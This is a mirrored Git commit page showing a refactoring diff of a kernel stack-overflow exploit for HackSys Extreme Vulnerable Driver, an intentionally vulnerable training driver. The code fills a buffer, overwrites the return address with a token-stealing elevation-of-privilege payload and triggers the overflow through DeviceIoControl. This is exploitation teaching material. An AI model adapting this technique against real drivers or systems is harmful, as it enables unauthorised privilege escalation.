admin/hacksysteam-HackSysExtremeVulnerableDriver
1
0
Fork 0
mirror of https://github.com/hacksysteam/HackSysExtremeVulnerableDriver synced 2026-06-08 14:31:02 +00:00
Code Issues Packages Projects Releases Wiki Activity

Refactored Exploit & Closing #9

Browse Source
This commit is contained in:
hacksysteam
2016-06-10 18:42:47 +05:30
parent 155c5f22a2
commit e786a545f8
36 changed files with 1050 additions and 648 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Exploit/Source/StackOverflow.c
+27 -25
View File
@@ -50,14 +50,14 @@ Abstract:
#include "StackOverflow.h"
DWORD WINAPI StackOverflowThread(LPVOID lpParameter) {
DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
HANDLE hFile = NULL;
ULONG bytesReturned;
PVOID pMemoryAddress = NULL;
PULONG pUserModeBuffer = NULL;
LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
PVOID pEopPayload = &TokenStealingPayloadWin7;
SIZE_T userModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
ULONG BytesReturned;
PVOID MemoryAddress = NULL;
PULONG UserModeBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
PVOID EopPayload = &TokenStealingPayloadWin7;
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
__try {
DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");
@@ -71,9 +71,9 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) {
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(lpFileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
@@ -87,30 +87,30 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) {
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
userModeBufferSize);
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize);
if (!pUserModeBuffer) {
if (!UserModeBuffer) {
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize);
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
}
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41);
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) - sizeof(ULONG));
*(PULONG)pMemoryAddress = (ULONG)pEopPayload;
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)EopPayload;
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)pMemoryAddress);
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", pMemoryAddress);
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");
@@ -118,16 +118,18 @@ DWORD WINAPI StackOverflowThread(LPVOID lpParameter) {
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)pUserModeBuffer,
(DWORD)userModeBufferSize,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&bytesReturned,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());